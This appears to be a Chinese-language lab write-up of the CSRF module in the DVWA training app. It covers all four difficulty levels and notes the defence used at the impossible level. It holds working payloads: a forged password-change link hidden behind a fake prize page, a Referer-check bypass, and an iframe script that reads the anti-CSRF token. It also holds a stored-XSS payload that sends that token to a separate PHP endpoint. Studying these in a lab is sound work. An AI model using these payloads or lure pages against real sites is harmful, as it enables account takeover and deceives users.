【DVWA(七)】CSRF跨站请求伪造
CSRF跨站请求伪造(Cross Site Request Forgery)
前言:
CSRF是利用用户的cookie,冒名做一些对用户有伤害的事情,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求
low:
1.观察:
输入新密码,旧密码,change。提示密码修改成功,用hackbar load 网址查看
发现只要修改一下链接即可
2.构造网址:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击这个链接之后就会用自己已经存在的cookie,被冒名进行修改密码操作,密码修改为password
3.短链接隐藏:
但是存在很多问题,太低级的手段会导致受害用户怀疑,所以用一些手段进行隐藏。
很明显,链接有问题,赤裸裸写着password!傻子也不敢点链接了,就利用站长工具转换成短链接。
4.显示隐藏:
现在点进去了,但是进去之后,回来到修改密码界面,而且还显示密码修改成功!这样会引起怀疑,一看就知道改密码了,所以再进一步,让他自己点进去,然后心甘情愿的并且没有察觉的修改密码。
在自己服务器上构造html文件(这里就是www文件夹下):
click.html:
<!DOCTYPE html> <html> <head> <title>抽奖活动</title> </head> <body> <p> <a href="change_password.html">点击链接,抽取一万奖金!</a> </p> </body> </html>
效果:
change_password.html:
<!DOCTYPE html> <html> <head> <title>中奖啦</title> </head> <body> <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" style="display:none;"/> <h1>你中奖啦</h1> <h2>中了修改密码奖</h2> </body> </html>
效果:
此时密码已经修改!
当然了,这只是写了个简单的网页,但是普通用户看不见修改,即使觉得不对劲,也完全不知道发生了什么,其实完全可以把攻击网站伪装成一个与之关联度很高的网站的一个链接,达成恶意修改的目的。
medium:
1.在hackbar上直接修改网址:
发现不行,并且跳出提示
HTTP_REFERER有问题
2.查看php源码:
发现,其中有对来源的判断
// Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
也就是说必须包含主机名,这里是127.0.0.1,把change_password.html改名为127.0.0.1.html,问题解决。
high:
1.尝试:
先继续用原来的,发现无效。
然后实验一次修改密码,发现后面多了token,而且经测试是在变化的:
2.查看php源码:
发现反csrf的方法是检查token
// Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
只要获取token,问题就迎刃而解了。
3.代码脚本攻击:
通过获取token,自动修改密码。
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <form method="GET" id="transfer" action="http://127.0.0.1/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <h1>你中奖啦</h1> <h2>中了修改密码奖</h2> </body> </html>
此时发现运行了,但是退出DVWA再登录,并不能修改密码。
4.查找原因:
跨域问题,攻击的是10.4.253.2,我的是127.0.0.1,是无法实现的,但是可以让其主动发送token到我们的域127.0.0.1,联想之前的xss攻击,可以利用high等级!所以现在就用到了XSS存储攻击那里,利用存储型,把攻击代码存进服务器,这里不再赘述,不明白的可以看前面的XSS存储型跨站攻击随笔————high部分
5.先构造payload查看,是否可行
name:<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
message:change password
弹出随机的token,可行
6.利用token
到这里就开始疯狂尝试了,因为数据库里的长度限制,从html前端代码修改不了了,所以长代码不可行,陷入困境!
目前的思路,但是payload数据库有长度限制!:
构建php文件处理传递进来的token
get_dvwa_token.php:
来到xss stored,修改name长度限制,构造payload:
name:<iframe onload=document.location='http://127.0.0.1/get_dvwa_token.php?user_token='+frames[0].document.getElementsByName('user_token')[0].value>
message:change password
这里是个大坑,暂时还没有融汇贯通的技术,暂留,等之后讨论。
总之就是需要,把获取到的token进行利用!这一步还没解决,最后伪装方法是,点击链接后台跳转xss存储型攻击,最后显示障眼法。
impossible:
利用PDO技术防御SQL注入;
至于防护CSRF,则要求用户输入原始密码(简单粗暴);
这样在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
后记
合天网安问题的思考:
1)如果你发现一个CSRF你该如何利用?
关键其一:在于诱骗用户点击,用户点击之后就会有可乘之机;
关键其二:冒名顶替,趁热,趁着用户的登录状态,以用户之名进行破坏或者信息收集;
2)CSRF和XSS有什么联系?
csrf常常会用到XSS攻击